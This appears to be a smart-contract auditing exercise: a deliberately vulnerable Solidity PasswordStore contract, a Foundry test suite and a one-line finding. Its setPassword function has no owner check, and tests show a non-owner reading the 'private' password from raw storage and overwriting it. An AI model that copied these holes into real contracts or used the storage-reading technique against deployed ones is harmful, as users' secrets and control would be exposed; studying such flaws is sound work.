pragma solidity 0.8.18;
* @author not-so-secure-dev
* @title PasswordStore
* @notice This contract allows you to store a private password that others won't be able to see.
* You can update your password at any time.
*/
contract PasswordStore {
error PasswordStore__NotOwner();
address private s_owner;
string private s_password;
event SetNetPassword();
constructor() {
s_owner = msg.sender;
}
* @notice This function allows only the owner to set a new password.
* @param newPassword The new password to set.
*/
function setPassword(string memory newPassword) external {
s_password = newPassword;
emit SetNetPassword();
}
* @notice This allows only the owner to retrieve the password.
* @param newPassword The new password to set.
*/
function getPassword() external view returns (string memory) {
if (msg.sender != s_owner) {
revert PasswordStore__NotOwner();
}
return s_password;
}
}
pragma solidity 0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {PasswordStore} from "../src/PasswordStore.sol";
import {DeployPasswordStore} from "../script/DeployPasswordStore.s.sol";
contract PasswordStoreTest is Test {
PasswordStore public passwordStore;
DeployPasswordStore public deployer;
address public owner;
function setUp() public {
deployer = new DeployPasswordStore();
passwordStore = deployer.run();
owner = msg.sender;
}
function test_owner_can_set_password() public {
vm.startPrank(owner);
string memory expectedPassword = "myNewPassword";
passwordStore.setPassword(expectedPassword);
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, expectedPassword);
}
function test_non_owner_reading_password_reverts() public {
vm.startPrank(address(1));
vm.expectRevert(PasswordStore.PasswordStore__NotOwner.selector);
passwordStore.getPassword();
}
function test_attacker_get_password() public {
vm.startPrank(address(1));
bytes32 slot_0 = vm.load(address(passwordStore), bytes32(uint256(0)));
address slot = address(uint160(uint256(slot_0)));
bytes32 slot_1 = vm.load(address(passwordStore), bytes32(uint256(1)));
string memory slot1 = string(abi.encodePacked(slot_1));
emit log_address(slot);
emit log_string(slot1);
}
function test_attacker_set_newpassword() public {
vm.startPrank(address(1));
passwordStore.setPassword("NEW_PASSWORD");
test_attacker_get_password();
}
}
Anyone can access the password of the contract and able to set a new password.